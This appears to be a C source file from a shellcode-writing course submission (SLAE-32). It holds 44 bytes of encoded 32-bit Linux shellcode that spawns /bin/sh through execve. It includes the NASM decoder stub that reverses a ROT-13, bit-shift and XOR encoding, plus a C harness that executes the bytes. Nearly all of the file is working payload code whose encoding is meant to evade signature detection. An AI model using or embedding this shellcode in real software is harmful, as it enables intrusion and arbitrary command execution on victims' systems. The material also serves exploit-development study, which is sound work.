c249d94cb7
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54 lines
No EOL
1.4 KiB
C
54 lines
No EOL
1.4 KiB
C
/*
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; Title : Execve /bin/sh Shellcode encoded with ROT-13 + RShift-2 + XOR
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; Date : April, 2018
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; Author : Nuno Freitas
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; Blog Post : https://bufferoverflowed.wordpress.com/slae32/slae-32-shellcode-encoder/
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; Twitter : @nunof11
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; SLAE ID : SLAE-1112
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; Size : 44 bytes
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; Tested on : i686 GNU/Linux
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NASM:
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section .text
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global _start
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_start:
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jmp short call_decoder
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decoder:
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pop esi ; pop the Shellcode address from the Stack
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xor ecx, ecx
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mov cl, shellcodelen ; Set the loop counter to shellcodelen
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decode:
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rol byte [esi], 0x2 ; Left Shift 2
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xor byte [esi], cl ; XOR the byte with the ecx (counter)
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sub byte [esi], 13 ; Undo ROT13
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inc esi ; increment the offset (iterate over the bytes)
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loop decode ; loop while zero flag not set
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jmp short Shellcode
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call_decoder:
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call decoder ; Shellcode address will be pushed into the Stack
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Shellcode: db 0x4b,0xf7,0x13,0x59,0xcc,0x8c,0x63,0x5e,0x9f,0x8d,0x99,0x9f,0x1f,0xa4,0x3b,0x6e,0xc6,0x36,0x23
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shellcodelen equ $-Shellcode
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*/
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#include <stdio.h>
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#include <string.h>
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unsigned char shellcode[] = \
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"\xeb\x12\x5e\x31\xc9\xb1\x13\xc0\x06\x02\x30\x0e\x80\x2e\x0d\x46\xe2\xf5\xeb\x05\xe8\xe9\xff\xff\xff\x4b\xf7\x13\x59\xcc\x8c\x63\x5e\x9f\x8d\x99\x9f\x1f\xa4\x3b\x6e\xc6\x36\x23";
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void main()
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{
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printf("Shellcode Length: %d\n", strlen(shellcode));
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int (*ret)() = (int(*)())shellcode;
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ret();
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} |